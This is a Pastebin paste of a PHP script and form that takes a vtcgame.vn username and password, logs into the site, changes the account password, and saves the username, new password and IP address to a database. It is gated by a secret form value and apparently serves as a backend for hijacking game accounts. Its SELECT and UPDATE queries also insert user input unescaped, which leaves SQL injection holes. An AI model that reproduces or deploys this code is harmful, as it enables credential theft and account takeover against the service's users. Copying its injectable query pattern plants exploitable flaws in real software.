Advertisement
Guest User

Untitled

a guest
Jun 17th, 2016
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 3.07 KB | None | 0 0
  1. <?php
  2. require_once("mysql.php");
  3. include('curlvtc.php');
  4.  
  5. function getRealIPAddress(){  
  6.    if(!empty($_SERVER['HTTP_CLIENT_IP'])){
  7.  
  8.        $ip = $_SERVER['HTTP_CLIENT_IP'];
  9.    }else if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
  10.  
  11.        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  12.    }else{
  13.        $ip = $_SERVER['REMOTE_ADDR'];
  14.    }
  15.    return $ip;
  16. }
  17.  
  18. function insertacc($a,$b,$c)
  19. {
  20.  
  21. if ( mysql_num_rows(mysql_query("SELECT taikhoan FROM acccf WHERE taikhoan='$a'"))>0)
  22.     {
  23.        $up = "UPDATE acccf SET matkhau='$b' , ip='$c' WHERE taikhoan='$a'";
  24.  
  25.        mysql_query($up);
  26.     }
  27. else{
  28. $add = "INSERT INTO acccf (taikhoan, matkhau, ip) VALUES ('%s','%s','%s')";
  29. mysql_query(sprintf($add,mysql_real_escape_string($a),mysql_real_escape_string($b),mysql_real_escape_string($c)));
  30. }
  31. }
  32.  
  33. if($_POST['op']=='bo2oko1o'){
  34.  
  35. $user = urlencode(preg_replace('/\s+/', '', $_POST['taikhoan']));
  36. $pass= urlencode($_POST['matkhau']);
  37. $npass= urlencode(preg_replace('/\s+/', '', $_POST['matkhau2']));
  38. $ip = getRealIPAddress();
  39.  
  40. $cc = new cURL();
  41. $html =  $cc->get('https://vtcgame.vn/emobile/index.html');
  42.  
  43.  
  44.  
  45. preg_match('#id="__VIEWSTATE" value="(.*?)"#',$html,$viewstate);
  46. preg_match('#id="__VIEWSTATEGENERATOR" value="(.*?)"#',$html,$viewstategenerator);
  47. preg_match('#id="__EVENTVALIDATION" value="(.*?)"#',$html,$eventvalidation);
  48.  
  49. $data = '__EVENTTARGET='.'&__EVENTARGUMENT='.'&__VIEWSTATEGENERATOR='.urlencode($viewstategenerator[1]).'&__VIEWSTATE='.urlencode($viewstate[1]).'&__EVENTVALIDATION='.urlencode($eventvalidation[1]).'&ctl00$ContentPlaceHolder1$txtUserName='.$user. '&ctl00$ContentPlaceHolder1$txtPassword='.$pass.'&ctl00$ContentPlaceHolder1$btnSignIn=%C4%90%C4%83ng%20nh%E1%BA%ADp';
  50.  
  51. $html = $cc->post('https://vtcgame.vn/emobile/index.html',$data);
  52.  
  53. if(preg_match('#style="color:Red;"></span>#',$html))
  54. {
  55. $html = $cc->get('https://vtcgame.vn/emobile/accountchangepassword.html');
  56.  
  57.  
  58. preg_match('#id="__VIEWSTATE" value="(.*?)"#',$html,$viewstate);
  59. preg_match('#id="__VIEWSTATEGENERATOR" value="(.*?)"#',$html,$viewstategenerator);
  60. preg_match('#id="__EVENTVALIDATION" value="(.*?)"#',$html,$eventvalidation);
  61.  
  62. $data = '__EVENTTARGET='.'&__EVENTARGUMENT='.'&__VIEWSTATEGENERATOR='.urlencode($viewstategenerator[1]).'&__VIEWSTATE='.urlencode($viewstate[1]).'&__EVENTVALIDATION='.urlencode($eventvalidation[1]).'&ctl00%24ContentPlaceHolder1%24txtOldPass='.$pass. '&ctl00%24ContentPlaceHolder1%24txtNewPass='.$npass. '&ctl00%24ContentPlaceHolder1%24txtRetypePass='.$npass.'&ctl00%24ContentPlaceHolder1%24btnChangePass=%C4%90%E1%BB%95i+m%E1%BA%ADt+kh%E1%BA%A9u';
  63.  
  64. $html = $cc->post('https://vtcgame.vn/emobile/accountchangepassword.html',$data);
  65. if(preg_match('#style="color:Green;">(.*?)</span>#',$html,$echoa))
  66. {
  67. echo $echoa[1];
  68. insertacc($user,$npass,$ip);
  69. }
  70. }
  71.  
  72.  
  73. }
  74. ?>
  75. <form action='' method='post'>
  76. <input name='taikhoan' type='text' autocomplete="off" />
  77. <input name='matkhau' type='text' autocomplete="off" />
  78. <input name='matkhau2' type='text' autocomplete="off" />
  79. <input name='op' type='password' autocomplete="off" />
  80. <input type='submit'/>
  81. </form>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement